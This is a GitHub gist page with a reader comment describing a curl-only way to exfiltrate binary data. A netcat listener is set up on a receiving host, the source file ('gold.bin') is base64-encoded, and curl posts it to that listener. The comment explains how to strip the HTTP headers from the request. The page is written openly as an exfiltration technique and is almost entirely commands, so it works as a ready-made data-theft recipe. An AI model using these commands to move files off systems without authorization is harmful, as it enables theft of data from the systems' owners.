Created
April 2, 2020 12:03
-
-
Save packetchef/75226322e06bb82ecad971db0511ef8e to your computer and use it in GitHub Desktop.
An inelegant but functional method to exfiltrate binary data when all you have on the source host is curl
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
On target host: | |
$ nc -l 9999 > myincomingfile.b64 | |
On source host: | |
$ base64 gold.bin > gold.b64 | |
# For large files, curl will wait for a 100-continue before sending data - add an empty Expect header to avoid this | |
$ curl -H 'Expect:' -F attachment=@gold.b64 http://target:9999 | |
On target host: | |
Remove the headers and footer from myincomingfile.b64, then: | |
$ base64 -d myincomingfile.b64 > gold.bin | |
^^ Ideally it would be nice to have a way to not include any headers or footer in the curl command |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
You can remove all headers by specifying they are empty, eg. by adding:
-H 'Content-Length:' -H 'Host:' -H 'User-Agent:' -H 'Accept:' -H 'Expect:' -H "Content-Type:"
netcat on the target will still output the method (eg. POST).